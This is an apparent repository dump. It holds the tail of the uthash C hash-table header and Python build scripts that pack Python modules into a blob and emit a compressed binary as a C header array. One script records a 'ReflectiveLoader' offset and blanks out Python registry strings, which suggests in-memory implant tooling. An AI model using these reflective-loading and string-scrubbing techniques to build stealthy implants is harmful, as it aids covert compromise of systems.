            break;                                                               \
    case 1: hashv += *_sfh_key;                                                  \
            hashv ^= hashv << 10;                                                \
            hashv += hashv >> 1;                                                 \
  }                                                                              \
                                                                                 \
  /* Force "avalanching" of final 127 bits */                                    \
  hashv ^= hashv << 3;                                                           \
  hashv += hashv >> 5;                                                           \
  hashv ^= hashv << 4;                                                           \
  hashv += hashv >> 17;                                                          \
  hashv ^= hashv << 25;                                                          \
  hashv += hashv >> 6;                                                           \
} while (0)

#ifdef HASH_USING_NO_STRICT_ALIASING
/* The MurmurHash exploits some CPU's (x86,x86_64) tolerance for unaligned reads.
 * For other types of CPU's (e.g. Sparc) an unaligned read causes a bus error.
 * MurmurHash uses the faster approach only on CPU's where we know it's safe.
 *
 * Note the preprocessor built-in defines can be emitted using:
 *
 *   gcc -m64 -dM -E - < /dev/null                  (on gcc)
 *   cc -## a.c (where a.c is a simple test file)   (Sun Studio)
 */
#if (defined(__i386__) || defined(__x86_64__)  || defined(_M_IX86))
#define MUR_GETBLOCK(p,i) p[i]
#else /* non intel */
#define MUR_PLUS0_ALIGNED(p) (((unsigned long)p & 3UL) == 0UL)
#define MUR_PLUS1_ALIGNED(p) (((unsigned long)p & 3UL) == 1UL)
#define MUR_PLUS2_ALIGNED(p) (((unsigned long)p & 3UL) == 2UL)
#define MUR_PLUS3_ALIGNED(p) (((unsigned long)p & 3UL) == 3UL)
#define WP(p) ((uint32_t*)((unsigned long)(p) & ~3UL))
#if (defined(__BIG_ENDIAN__) || defined(SPARC) || defined(__ppc__) || defined(__ppc64__))
#define MUR_THREE_ONE(p) ((((*WP(p))&0x00ffffff) << 8) | (((*(WP(p)+1))&0xff000000) >> 24))
#define MUR_TWO_TWO(p)   ((((*WP(p))&0x0000ffff) <<16) | (((*(WP(p)+1))&0xffff0000) >> 16))
#define MUR_ONE_THREE(p) ((((*WP(p))&0x000000ff) <<24) | (((*(WP(p)+1))&0xffffff00) >>  8))
#else /* assume little endian non-intel */
#define MUR_THREE_ONE(p) ((((*WP(p))&0xffffff00) >> 8) | (((*(WP(p)+1))&0x000000ff) << 24))
#define MUR_TWO_TWO(p)   ((((*WP(p))&0xffff0000) >>16) | (((*(WP(p)+1))&0x0000ffff) << 16))
#define MUR_ONE_THREE(p) ((((*WP(p))&0xff000000) >>24) | (((*(WP(p)+1))&0x00ffffff) <<  8))
#endif
#define MUR_GETBLOCK(p,i) (MUR_PLUS0_ALIGNED(p) ? ((p)[i]) :           \
                            (MUR_PLUS1_ALIGNED(p) ? MUR_THREE_ONE(p) : \
                             (MUR_PLUS2_ALIGNED(p) ? MUR_TWO_TWO(p) :  \
                                                      MUR_ONE_THREE(p))))
#endif
#define MUR_ROTL32(x,r) (((x) << (r)) | ((x) >> (32 - (r))))
#define MUR_FMIX(_h) \
do {                 \
  _h ^= _h >> 16;    \
  _h *= 0x85ebca6bu; \
  _h ^= _h >> 13;    \
  _h *= 0xc2b2ae35u; \
  _h ^= _h >> 16;    \
} while (0)

#define HASH_MUR(key,keylen,hashv)                                     \
do {                                                                   \
  const uint8_t *_mur_data = (const uint8_t*)(key);                    \
  const int _mur_nblocks = (int)(keylen) / 4;                          \
  uint32_t _mur_h1 = 0xf88D5353u;                                      \
  uint32_t _mur_c1 = 0xcc9e2d51u;                                      \
  uint32_t _mur_c2 = 0x1b873593u;                                      \
  uint32_t _mur_k1 = 0;                                                \
  const uint8_t *_mur_tail;                                            \
  const uint32_t *_mur_blocks = (const uint32_t*)(_mur_data+(_mur_nblocks*4)); \
  int _mur_i;                                                          \
  for (_mur_i = -_mur_nblocks; _mur_i != 0; _mur_i++) {                \
    _mur_k1 = MUR_GETBLOCK(_mur_blocks,_mur_i);                        \
    _mur_k1 *= _mur_c1;                                                \
    _mur_k1 = MUR_ROTL32(_mur_k1,15);                                  \
    _mur_k1 *= _mur_c2;                                                \
                                                                       \
    _mur_h1 ^= _mur_k1;                                                \
    _mur_h1 = MUR_ROTL32(_mur_h1,13);                                  \
    _mur_h1 = (_mur_h1*5U) + 0xe6546b64u;                              \
  }                                                                    \
  _mur_tail = (const uint8_t*)(_mur_data + (_mur_nblocks*4));          \
  _mur_k1=0;                                                           \
  switch ((keylen) & 3U) {                                             \
    case 0: break;                                                     \
    case 3: _mur_k1 ^= (uint32_t)_mur_tail[2] << 16; /* FALLTHROUGH */ \
    case 2: _mur_k1 ^= (uint32_t)_mur_tail[1] << 8;  /* FALLTHROUGH */ \
    case 1: _mur_k1 ^= (uint32_t)_mur_tail[0];                         \
    _mur_k1 *= _mur_c1;                                                \
    _mur_k1 = MUR_ROTL32(_mur_k1,15);                                  \
    _mur_k1 *= _mur_c2;                                                \
    _mur_h1 ^= _mur_k1;                                                \
  }                                                                    \
  _mur_h1 ^= (uint32_t)(keylen);                                       \
  MUR_FMIX(_mur_h1);                                                   \
  hashv = _mur_h1;                                                     \
} while (0)
#endif  /* HASH_USING_NO_STRICT_ALIASING */

/* iterate over items in a known bucket to find desired item */
#define HASH_FIND_IN_BKT(tbl,hh,head,keyptr,keylen_in,hashval,out)               \
do {                                                                             \
  if ((head).hh_head != NULL) {                                                  \
    DECLTYPE_ASSIGN(out, ELMT_FROM_HH(tbl, (head).hh_head));                     \
  } else {                                                                       \
    (out) = NULL;                                                                \
  }                                                                              \
  while ((out) != NULL) {                                                        \
    if ((out)->hh.hashv == (hashval) && (out)->hh.keylen == (keylen_in)) {       \
      if (HASH_KEYCMP((out)->hh.key, keyptr, keylen_in) == 0) {              \
        break;                                                                   \
      }                                                                          \
    }                                                                            \
    if ((out)->hh.hh_next != NULL) {                                             \
      DECLTYPE_ASSIGN(out, ELMT_FROM_HH(tbl, (out)->hh.hh_next));                \
    } else {                                                                     \
      (out) = NULL;                                                              \
    }                                                                            \
  }                                                                              \
} while (0)

/* add an item to a bucket  */
#define HASH_ADD_TO_BKT(head,hh,addhh,oomed)                                     \
do {                                                                             \
  UT_hash_bucket *_ha_head = &(head);                                            \
  _ha_head->count++;                                                             \
  (addhh)->hh_next = _ha_head->hh_head;                                          \
  (addhh)->hh_prev = NULL;                                                       \
  if (_ha_head->hh_head != NULL) {                                               \
    _ha_head->hh_head->hh_prev = (addhh);                                        \
  }                                                                              \
  _ha_head->hh_head = (addhh);                                                   \
  if ((_ha_head->count >= ((_ha_head->expand_mult + 1U) * HASH_BKT_CAPACITY_THRESH)) \
      && !(addhh)->tbl->noexpand) {                                              \
    HASH_EXPAND_BUCKETS(addhh,(addhh)->tbl, oomed);                              \
    IF_HASH_NONFATAL_OOM(                                                        \
      if (oomed) {                                                               \
        HASH_DEL_IN_BKT(head,addhh);                                             \
      }                                                                          \
    )                                                                            \
  }                                                                              \
} while (0)

/* remove an item from a given bucket */
#define HASH_DEL_IN_BKT(head,delhh)                                              \
do {                                                                             \
  UT_hash_bucket *_hd_head = &(head);                                            \
  _hd_head->count--;                                                             \
  if (_hd_head->hh_head == (delhh)) {                                            \
    _hd_head->hh_head = (delhh)->hh_next;                                        \
  }                                                                              \
  if ((delhh)->hh_prev) {                                                        \
    (delhh)->hh_prev->hh_next = (delhh)->hh_next;                                \
  }                                                                              \
  if ((delhh)->hh_next) {                                                        \
    (delhh)->hh_next->hh_prev = (delhh)->hh_prev;                                \
  }                                                                              \
} while (0)

/* Bucket expansion has the effect of doubling the number of buckets
 * and redistributing the items into the new buckets. Ideally the
 * items will distribute more or less evenly into the new buckets
 * (the extent to which this is true is a measure of the quality of
 * the hash function as it applies to the key domain).
 *
 * With the items distributed into more buckets, the chain length
 * (item count) in each bucket is reduced. Thus by expanding buckets
 * the hash keeps a bound on the chain length. This bounded chain
 * length is the essence of how a hash provides constant time lookup.
 *
 * The calculation of tbl->ideal_chain_maxlen below deserves some
 * explanation. First, keep in mind that we're calculating the ideal
 * maximum chain length based on the *new* (doubled) bucket count.
 * In fractions this is just n/b (n=number of items,b=new num buckets).
 * Since the ideal chain length is an integer, we want to calculate
 * ceil(n/b). We don't depend on floating point arithmetic in this
 * hash, so to calculate ceil(n/b) with integers we could write
 *
 *      ceil(n/b) = (n/b) + ((n%b)?1:0)
 *
 * and in fact a previous version of this hash did just that.
 * But now we have improved things a bit by recognizing that b is
 * always a power of two. We keep its base 2 log handy (call it lb),
 * so now we can write this with a bit shift and logical AND:
 *
 *      ceil(n/b) = (n>>lb) + ( (n & (b-1)) ? 1:0)
 *
 */
#define HASH_EXPAND_BUCKETS(hh,tbl,oomed)                                        \
do {                                                                             \
  unsigned _he_bkt;                                                              \
  unsigned _he_bkt_i;                                                            \
  struct UT_hash_handle *_he_thh, *_he_hh_nxt;                                   \
  UT_hash_bucket *_he_new_buckets, *_he_newbkt;                                  \
  _he_new_buckets = (UT_hash_bucket*)uthash_malloc(                              \
           2UL * (tbl)->num_buckets * sizeof(struct UT_hash_bucket));            \
  if (!_he_new_buckets) {                                                        \
    HASH_RECORD_OOM(oomed);                                                      \
  } else {                                                                       \
    uthash_bzero(_he_new_buckets,                                                \
        2UL * (tbl)->num_buckets * sizeof(struct UT_hash_bucket));               \
    (tbl)->ideal_chain_maxlen =                                                  \
       ((tbl)->num_items >> ((tbl)->log2_num_buckets+1U)) +                      \
       ((((tbl)->num_items & (((tbl)->num_buckets*2U)-1U)) != 0U) ? 1U : 0U);    \
    (tbl)->nonideal_items = 0;                                                   \
    for (_he_bkt_i = 0; _he_bkt_i < (tbl)->num_buckets; _he_bkt_i++) {           \
      _he_thh = (tbl)->buckets[ _he_bkt_i ].hh_head;                             \
      while (_he_thh != NULL) {                                                  \
        _he_hh_nxt = _he_thh->hh_next;                                           \
        HASH_TO_BKT(_he_thh->hashv, (tbl)->num_buckets * 2U, _he_bkt);           \
        _he_newbkt = &(_he_new_buckets[_he_bkt]);                                \
        if (++(_he_newbkt->count) > (tbl)->ideal_chain_maxlen) {                 \
          (tbl)->nonideal_items++;                                               \
          if (_he_newbkt->count > _he_newbkt->expand_mult * (tbl)->ideal_chain_maxlen) { \
            _he_newbkt->expand_mult++;                                           \
          }                                                                      \
        }                                                                        \
        _he_thh->hh_prev = NULL;                                                 \
        _he_thh->hh_next = _he_newbkt->hh_head;                                  \
        if (_he_newbkt->hh_head != NULL) {                                       \
          _he_newbkt->hh_head->hh_prev = _he_thh;                                \
        }                                                                        \
        _he_newbkt->hh_head = _he_thh;                                           \
        _he_thh = _he_hh_nxt;                                                    \
      }                                                                          \
    }                                                                            \
    uthash_free((tbl)->buckets, (tbl)->num_buckets * sizeof(struct UT_hash_bucket)); \
    (tbl)->num_buckets *= 2U;                                                    \
    (tbl)->log2_num_buckets++;                                                   \
    (tbl)->buckets = _he_new_buckets;                                            \
    (tbl)->ineff_expands = ((tbl)->nonideal_items > ((tbl)->num_items >> 1)) ?   \
        ((tbl)->ineff_expands+1U) : 0U;                                          \
    if ((tbl)->ineff_expands > 1U) {                                             \
      (tbl)->noexpand = 1;                                                       \
      uthash_noexpand_fyi(tbl);                                                  \
    }                                                                            \
    uthash_expand_fyi(tbl);                                                      \
  }                                                                              \
} while (0)


/* This is an adaptation of Simon Tatham's O(n log(n)) mergesort */
/* Note that HASH_SORT assumes the hash handle name to be hh.
 * HASH_SRT was added to allow the hash handle name to be passed in. */
#define HASH_SORT(head,cmpfcn) HASH_SRT(hh,head,cmpfcn)
#define HASH_SRT(hh,head,cmpfcn)                                                 \
do {                                                                             \
  unsigned _hs_i;                                                                \
  unsigned _hs_looping,_hs_nmerges,_hs_insize,_hs_psize,_hs_qsize;               \
  struct UT_hash_handle *_hs_p, *_hs_q, *_hs_e, *_hs_list, *_hs_tail;            \
  if (head != NULL) {                                                            \
    _hs_insize = 1;                                                              \
    _hs_looping = 1;                                                             \
    _hs_list = &((head)->hh);                                                    \
    while (_hs_looping != 0U) {                                                  \
      _hs_p = _hs_list;                                                          \
      _hs_list = NULL;                                                           \
      _hs_tail = NULL;                                                           \
      _hs_nmerges = 0;                                                           \
      while (_hs_p != NULL) {                                                    \
        _hs_nmerges++;                                                           \
        _hs_q = _hs_p;                                                           \
        _hs_psize = 0;                                                           \
        for (_hs_i = 0; _hs_i < _hs_insize; ++_hs_i) {                           \
          _hs_psize++;                                                           \
          _hs_q = ((_hs_q->next != NULL) ?                                       \
            HH_FROM_ELMT((head)->hh.tbl, _hs_q->next) : NULL);                   \
          if (_hs_q == NULL) {                                                   \
            break;                                                               \
          }                                                                      \
        }                                                                        \
        _hs_qsize = _hs_insize;                                                  \
        while ((_hs_psize != 0U) || ((_hs_qsize != 0U) && (_hs_q != NULL))) {    \
          if (_hs_psize == 0U) {                                                 \
            _hs_e = _hs_q;                                                       \
            _hs_q = ((_hs_q->next != NULL) ?                                     \
              HH_FROM_ELMT((head)->hh.tbl, _hs_q->next) : NULL);                 \
            _hs_qsize--;                                                         \
          } else if ((_hs_qsize == 0U) || (_hs_q == NULL)) {                     \
            _hs_e = _hs_p;                                                       \
            if (_hs_p != NULL) {                                                 \
              _hs_p = ((_hs_p->next != NULL) ?                                   \
                HH_FROM_ELMT((head)->hh.tbl, _hs_p->next) : NULL);               \
            }                                                                    \
            _hs_psize--;                                                         \
          } else if ((cmpfcn(                                                    \
                DECLTYPE(head)(ELMT_FROM_HH((head)->hh.tbl, _hs_p)),             \
                DECLTYPE(head)(ELMT_FROM_HH((head)->hh.tbl, _hs_q))              \
                )) <= 0) {                                                       \
            _hs_e = _hs_p;                                                       \
            if (_hs_p != NULL) {                                                 \
              _hs_p = ((_hs_p->next != NULL) ?                                   \
                HH_FROM_ELMT((head)->hh.tbl, _hs_p->next) : NULL);               \
            }                                                                    \
            _hs_psize--;                                                         \
          } else {                                                               \
            _hs_e = _hs_q;                                                       \
            _hs_q = ((_hs_q->next != NULL) ?                                     \
              HH_FROM_ELMT((head)->hh.tbl, _hs_q->next) : NULL);                 \
            _hs_qsize--;                                                         \
          }                                                                      \
          if ( _hs_tail != NULL ) {                                              \
            _hs_tail->next = ((_hs_e != NULL) ?                                  \
              ELMT_FROM_HH((head)->hh.tbl, _hs_e) : NULL);                       \
          } else {                                                               \
            _hs_list = _hs_e;                                                    \
          }                                                                      \
          if (_hs_e != NULL) {                                                   \
            _hs_e->prev = ((_hs_tail != NULL) ?                                  \
              ELMT_FROM_HH((head)->hh.tbl, _hs_tail) : NULL);                    \
          }                                                                      \
          _hs_tail = _hs_e;                                                      \
        }                                                                        \
        _hs_p = _hs_q;                                                           \
      }                                                                          \
      if (_hs_tail != NULL) {                                                    \
        _hs_tail->next = NULL;                                                   \
      }                                                                          \
      if (_hs_nmerges <= 1U) {                                                   \
        _hs_looping = 0;                                                         \
        (head)->hh.tbl->tail = _hs_tail;                                         \
        DECLTYPE_ASSIGN(head, ELMT_FROM_HH((head)->hh.tbl, _hs_list));           \
      }                                                                          \
      _hs_insize *= 2U;                                                          \
    }                                                                            \
    HASH_FSCK(hh, head, "HASH_SRT");                                             \
  }                                                                              \
} while (0)

/* This function selects items from one hash into another hash.
 * The end result is that the selected items have dual presence
 * in both hashes. There is no copy of the items made; rather
 * they are added into the new hash through a secondary hash
 * hash handle that must be present in the structure. */
#define HASH_SELECT(hh_dst, dst, hh_src, src, cond)                              \
do {                                                                             \
  unsigned _src_bkt, _dst_bkt;                                                   \
  void *_last_elt = NULL, *_elt;                                                 \
  UT_hash_handle *_src_hh, *_dst_hh, *_last_elt_hh=NULL;                         \
  ptrdiff_t _dst_hho = ((char*)(&(dst)->hh_dst) - (char*)(dst));                 \
  if ((src) != NULL) {                                                           \
    for (_src_bkt=0; _src_bkt < (src)->hh_src.tbl->num_buckets; _src_bkt++) {    \
      for (_src_hh = (src)->hh_src.tbl->buckets[_src_bkt].hh_head;               \
        _src_hh != NULL;                                                         \
        _src_hh = _src_hh->hh_next) {                                            \
        _elt = ELMT_FROM_HH((src)->hh_src.tbl, _src_hh);                         \
        if (cond(_elt)) {                                                        \
          IF_HASH_NONFATAL_OOM( int _hs_oomed = 0; )                             \
          _dst_hh = (UT_hash_handle*)(((char*)_elt) + _dst_hho);                 \
          _dst_hh->key = _src_hh->key;                                           \
          _dst_hh->keylen = _src_hh->keylen;                                     \
          _dst_hh->hashv = _src_hh->hashv;                                       \
          _dst_hh->prev = _last_elt;                                             \
          _dst_hh->next = NULL;                                                  \
          if (_last_elt_hh != NULL) {                                            \
            _last_elt_hh->next = _elt;                                           \
          }                                                                      \
          if ((dst) == NULL) {                                                   \
            DECLTYPE_ASSIGN(dst, _elt);                                          \
            HASH_MAKE_TABLE(hh_dst, dst, _hs_oomed);                             \
            IF_HASH_NONFATAL_OOM(                                                \
              if (_hs_oomed) {                                                   \
                uthash_nonfatal_oom(_elt);                                       \
                (dst) = NULL;                                                    \
                continue;                                                        \
              }                                                                  \
            )                                                                    \
          } else {                                                               \
            _dst_hh->tbl = (dst)->hh_dst.tbl;                                    \
          }                                                                      \
          HASH_TO_BKT(_dst_hh->hashv, _dst_hh->tbl->num_buckets, _dst_bkt);      \
          HASH_ADD_TO_BKT(_dst_hh->tbl->buckets[_dst_bkt], hh_dst, _dst_hh, _hs_oomed); \
          (dst)->hh_dst.tbl->num_items++;                                        \
          IF_HASH_NONFATAL_OOM(                                                  \
            if (_hs_oomed) {                                                     \
              HASH_ROLLBACK_BKT(hh_dst, dst, _dst_hh);                           \
              HASH_DELETE_HH(hh_dst, dst, _dst_hh);                              \
              _dst_hh->tbl = NULL;                                               \
              uthash_nonfatal_oom(_elt);                                         \
              continue;                                                          \
            }                                                                    \
          )                                                                      \
          HASH_BLOOM_ADD(_dst_hh->tbl, _dst_hh->hashv);                          \
          _last_elt = _elt;                                                      \
          _last_elt_hh = _dst_hh;                                                \
        }                                                                        \
      }                                                                          \
    }                                                                            \
  }                                                                              \
  HASH_FSCK(hh_dst, dst, "HASH_SELECT");                                         \
} while (0)

#define HASH_CLEAR(hh,head)                                                      \
do {                                                                             \
  if ((head) != NULL) {                                                          \
    HASH_BLOOM_FREE((head)->hh.tbl);                                             \
    uthash_free((head)->hh.tbl->buckets,                                         \
                (head)->hh.tbl->num_buckets*sizeof(struct UT_hash_bucket));      \
    uthash_free((head)->hh.tbl, sizeof(UT_hash_table));                          \
    (head) = NULL;                                                               \
  }                                                                              \
} while (0)

#define HASH_OVERHEAD(hh,head)                                                   \
 (((head) != NULL) ? (                                                           \
 (size_t)(((head)->hh.tbl->num_items   * sizeof(UT_hash_handle))   +             \
          ((head)->hh.tbl->num_buckets * sizeof(UT_hash_bucket))   +             \
           sizeof(UT_hash_table)                                   +             \
           (HASH_BLOOM_BYTELEN))) : 0U)

#ifdef NO_DECLTYPE
#define HASH_ITER(hh,head,el,tmp)                                                \
for(((el)=(head)), ((*(char**)(&(tmp)))=(char*)((head!=NULL)?(head)->hh.next:NULL)); \
  (el) != NULL; ((el)=(tmp)), ((*(char**)(&(tmp)))=(char*)((tmp!=NULL)?(tmp)->hh.next:NULL)))
#else
#define HASH_ITER(hh,head,el,tmp)                                                \
for(((el)=(head)), ((tmp)=DECLTYPE(el)((head!=NULL)?(head)->hh.next:NULL));      \
  (el) != NULL; ((el)=(tmp)), ((tmp)=DECLTYPE(el)((tmp!=NULL)?(tmp)->hh.next:NULL)))
#endif

/* obtain a count of items in the hash */
#define HASH_COUNT(head) HASH_CNT(hh,head)
#define HASH_CNT(hh,head) ((head != NULL)?((head)->hh.tbl->num_items):0U)

typedef struct UT_hash_bucket {
   struct UT_hash_handle *hh_head;
   unsigned count;

   /* expand_mult is normally set to 0. In this situation, the max chain length
    * threshold is enforced at its default value, HASH_BKT_CAPACITY_THRESH. (If
    * the bucket's chain exceeds this length, bucket expansion is triggered).
    * However, setting expand_mult to a non-zero value delays bucket expansion
    * (that would be triggered by additions to this particular bucket)
    * until its chain length reaches a *multiple* of HASH_BKT_CAPACITY_THRESH.
    * (The multiplier is simply expand_mult+1). The whole idea of this
    * multiplier is to reduce bucket expansions, since they are expensive, in
    * situations where we know that a particular bucket tends to be overused.
    * It is better to let its chain length grow to a longer yet-still-bounded
    * value, than to do an O(n) bucket expansion too often.
    */
   unsigned expand_mult;

} UT_hash_bucket;

/* random signature used only to find hash tables in external analysis */
#define HASH_SIGNATURE 0xa0111fe1u
#define HASH_BLOOM_SIGNATURE 0xb12220f2u

typedef struct UT_hash_table {
   UT_hash_bucket *buckets;
   unsigned num_buckets, log2_num_buckets;
   unsigned num_items;
   struct UT_hash_handle *tail; /* tail hh in app order, for fast append    */
   ptrdiff_t hho; /* hash handle offset (byte pos of hash handle in element */

   /* in an ideal situation (all buckets used equally), no bucket would have
    * more than ceil(#items/#buckets) items. that's the ideal chain length. */
   unsigned ideal_chain_maxlen;

   /* nonideal_items is the number of items in the hash whose chain position
    * exceeds the ideal chain maxlen. these items pay the penalty for an uneven
    * hash distribution; reaching them in a chain traversal takes >ideal steps */
   unsigned nonideal_items;

   /* ineffective expands occur when a bucket doubling was performed, but
    * afterward, more than half the items in the hash had nonideal chain
    * positions. If this happens on two consecutive expansions we inhibit any
    * further expansion, as it's not helping; this happens when the hash
    * function isn't a good fit for the key domain. When expansion is inhibited
    * the hash will still work, albeit no longer in constant time. */
   unsigned ineff_expands, noexpand;

   uint32_t signature; /* used only to find hash tables in external analysis */
#ifdef HASH_BLOOM
   uint32_t bloom_sig; /* used only to test bloom exists in external analysis */
   uint8_t *bloom_bv;
   uint8_t bloom_nbits;
#endif

} UT_hash_table;

typedef struct UT_hash_handle {
   struct UT_hash_table *tbl;
   void *prev;                       /* prev element in app order      */
   void *next;                       /* next element in app order      */
   struct UT_hash_handle *hh_prev;   /* previous hh in bucket order    */
   struct UT_hash_handle *hh_next;   /* next hh in bucket order        */
   void *key;                        /* ptr to enclosing struct's key  */
   unsigned keylen;                  /* enclosing struct's key len     */
   unsigned hashv;                   /* result of hash-fcn(key)        */
} UT_hash_handle;

#endif /* UTHASH_H */


================================================
FILE: client/gen_library_compressed_string.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import os
import sys
import zipfile
import struct

from io import open


def get_encoded_library_string(filepath, out):
    dest = os.path.dirname(filepath)
    if not os.path.exists(dest):
        os.makedirs(dest)

    zip = zipfile.ZipFile(open(filepath, 'rb'))

    modules = dict([
        (
            z.filename, zip.open(z.filename,).read()
        ) for z in zip.infolist() if os.path.splitext(z.filename)[1] in (
            '.py', '.pyd', '.dll', '.pyc', '.pyo', '.so', '.toc'
        )
    ])

    ks = len(modules)
    out.write(struct.pack('>I', ks))
    for module in modules:
        content = modules[module]

        out.write(struct.pack('>II', len(module), len(content)))
        out.write(module.encode('utf8'))
        out.write(content)


with open(sys.argv[1], 'wb') as w:
    get_encoded_library_string(sys.argv[2], w)


================================================
FILE: client/gen_resource_header.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import sys
import binascii
#import lzma
import pylzma
import struct
import os

from io import open

MAX_CHAR_PER_LINE = 50

ReflectiveLoaderSymName = 'ReflectiveLoader'

ZERO_STRINGS = [
    b'Software\\Python\\PythonCore'
]

ZERO_STRINGS.extend([
    z.decode('ascii').encode('utf-16le') for z in ZERO_STRINGS
])


if __name__ == "__main__":
    h_file = ""
    file_bytes = b""
    output = os.path.basename(sys.argv[2]).replace('.', '_')

    reflective_loader = None

    with open(sys.argv[1], "rb") as f:
        file_bytes = f.read()
        for z in ZERO_STRINGS:
            if z in file_bytes:
                file_bytes = file_bytes.replace(z, b'\00' * len(z))

    try:
        image_base = 0

        with open(sys.argv[1]+'.map') as f:
            for line in f:
                line = line.strip().split()

                if len(line) < 4:
                    continue

                if line[1] == '__ImageBase':
                    image_base = int(line[2], 16)
                    continue

                if line[1] in (ReflectiveLoaderSymName, '_' + ReflectiveLoaderSymName + '@4'):
                    reflective_loader = int(line[2], 16) - image_base
                    break

    except (OSError, IOError):
        pass

    compressed = int(sys.argv[3])

    attribute = ''
    pragma = ''

    if len(sys.argv) > 5:
        compiler = sys.argv[4]

        if compiler == 'cl':
            print("USING MSVC pragmas, const_seg: {}".format(sys.argv[5]))
            attribute = '\n#pragma const_seg(push, stack1, "{}")\n'.format(
                sys.argv[5])
            pragma = '\n#pragma const_seg(pop, stack1)'
        else:
            attribute = '\n'.join([
                '__attribute__(({}))'.format(x) for x in sys.argv[5:]
            ])

    payload_len = len(file_bytes)

    payload=file_bytes
    if compressed:
        #     lzc = lzma.LZMACompressor()
        #     compressed_fb = lzc.compress(file_bytes)
        #     compressed_fb += lzc.flush()
        #     payload = compressed_fb
        payload = struct.pack('>I', payload_len) + (
            pylzma.compress(
                file_bytes, dictionary=24, fastBytes=255
            ) if compressed else file_bytes
        )
    else:
        payload = struct.pack('>I', payload_len) + payload

    if reflective_loader:
        h_file += "static const size_t %s_loader = 0x%x;\n" % (
            output, reflective_loader)

        with open(sys.argv[2].rsplit('.', 1)[0] + '.loader', 'wb') as w:
            w.write(struct.pack('>I', reflective_loader))

    h_file += "static const int %s_size = %s;" % (output, len(payload))
    h_file += attribute
    h_file += "\nstatic const char %s_start[] = {\n" % (output)
    current_size = 0

    with open(sys.argv[2], 'w') as w:
        w.write(h_file)

        for c in payload:
            w.write("'\\x%02x'," % c)
            current_size += 1
            if current_size > MAX_CHAR_PER_LINE:
                current_size = 0
                w.write("\n")

        w.write("'\\x00' };\n")
        w.write(pragma)


================================================
FILE: client/mktab.py
================================================
from __future__ import print_function
from __future__ import unicode_literals

# A script to generate helper files for dynamic linking to the Python dll
#

import string
import sys

from io import open

UCS_ABI = 'UCS2'
if len(sys.argv) > 1:
    UCS_ABI = sys.argv[1]



decls = '''
void, Py_InitializeEx, (int)
void, Py_Finalize, ()
void, Py_Initialize, ()
wchar_t *, Py_GetPath, (void)
void, Py_SetPythonHome, (const wchar_t *)
void, Py_SetProgramName, (const wchar_t *)
PyObject *, PyMarshal_ReadObjectFromString, (char *, Py_ssize_t)
int, PyBytes_AsStringAndSize, (PyObject *, char **, Py_ssize_t *)
const char *, PyBytes_AsString, (PyObject *)
int, PyArg_ParseTuple, (PyObject *, const char *, ...)
int, PyArg_ParseTupleAndKeywords, (PyObject *args, PyObject *kw, const char *format, const char * const *keywords, ...)
PyObject *, PyImport_ImportModule, (const char *)
PyObject *, PyImport_Import, (PyObject *name)
PyObject *,PyLong_FromLong, (long)
PyObject *, PyLong_FromVoidPtr, (void *)
int, PyImport_ImportFrozenModule, (const char *name)
int, Py_IsInitialized, (void)
int, PyObject_SetAttrString, (PyObject *, const char *, PyObject *)
void*, PyUnicode_AsWideChar, (PyObject *o, wchar_t *w, Py_ssize_t size)
void, Py_SetPath, (const wchar_t* path)
Py_ssize_t, PyUnicode_GetSize, (PyObject *unicode)
const char *, PyUnicode_AsUTF8AndSize, (PyObject *unicode, Py_ssize_t *size)
const char *, PyUnicode_AsUTF8, (PyObject *unicode)
PyObject *, PyCFunction_NewEx, (PyMethodDef *, PyObject *, PyObject *)
PyObject *, PyObject_GetAttrString, (PyObject *, const char *)
PyObject *, Py_BuildValue, (const char *, ...)
PyObject *, PyObject_Call, (PyObject *, PyObject *, PyObject *)
PyObject *, PyObject_CallFunctionObjArgs, (PyObject *, ...)
PyObject *, PyObject_CallFunction, (PyObject *, const char *, ...)
PyObject *, PyErr_Occurred, (void)
void, PyErr_Fetch, (PyObject **, PyObject **, PyObject **)
void, PyErr_Clear, (void)
PyObject*, PyErr_NoMemory, (void)
int, PyObject_IsInstance, (PyObject *, PyObject *)
PyObject *, PyCapsule_New, (void *, const char *, void *)
void *, PyCapsule_GetPointer, (PyObject *, const char *)

void, Py_IncRef, (PyObject *)
void, Py_DecRef, (PyObject *)


PyObject*, PyErr_SetFromErrno, (PyObject *)
PyObject*, PyErr_Format, (PyObject *, const char *format, ...)



PyObject *, PyObject_CallObject, (PyObject *, PyObject *)

PyGILState_STATE, PyGILState_Ensure, (void)
void, PyGILState_Release, (PyGILState_STATE)

void, PySys_SetObject, (const char *, PyObject *)
PyObject *, PySys_GetObject, (const char *)
PyObject *, PyImport_AddModule, (const char *)
PyObject *, PyModule_GetDict, (PyObject *)
int, PyDict_Next, (PyObject *, Py_ssize_t *, PyObject **, PyObject **)
PyObject*, PyDict_Keys, (PyObject *)
void, PyDict_Clear, (PyObject *)
Py_ssize_t, PySequence_Length, (PyObject *)
PyObject *, PySequence_GetItem, (PyObject *, Py_ssize_t)
PyObject *, PyEval_EvalCode, (PyCodeObject *, PyObject *, PyObject *)
PyObject *, PyEval_GetBuiltins, ()
void, PyErr_Print, (void)
PyObject *, PyBool_FromLong, (long)
PyObject*, PyList_New, (Py_ssize_t)
PyObject*, PyList_GetItem, (PyObject *, Py_ssize_t)
PyObject*, PyList_Append, (PyObject *, PyObject *)
int, PyList_SetSlice, (PyObject *list, Py_ssize_t low, Py_ssize_t high, PyObject *itemlist)
Py_ssize_t, PyList_Size, (PyObject *list)
int, PyObject_IsTrue, (PyObject *)
PyObject*, PyObject_GetIter, (PyObject *)
PyObject*, PyIter_Next, (PyObject *o)
void, PyErr_SetString, (PyObject *, const char *)
void, PyEval_InitThreads, (void)

PyObject *, PyErr_NewException, (const char *name, PyObject *base, PyObject *dict)
int, PyModule_AddObject, (PyObject *, const char *, PyObject *)
int, PyModule_AddStringConstant, (PyObject *module, const char *name, const char *value)

PyObject*, PyDict_New, ()
PyObject*, PyUnicode_FromStringAndSize, (const char *v, Py_ssize_t len)
PyObject*, PyUnicode_FromString, (const char *u)
PyObject*, PyBytes_FromStringAndSize, (const char *v, Py_ssize_t len)
PyObject*, PyBytes_FromString, (const char *v)
int, PyDict_Update, (PyObject *a, PyObject *b)
int, PyDict_SetItem, (PyObject *p, PyObject *key, PyObject *val)
int, PyDict_SetItemString, (PyObject *, const char *, PyObject *)
int, PyDict_DelItem, (PyObject *a, PyObject *b)
PyObject*, PyDict_GetItemString, (PyObject *p, const char *key)
int, PyDict_DelItemString, (PyObject *p, const char *key)
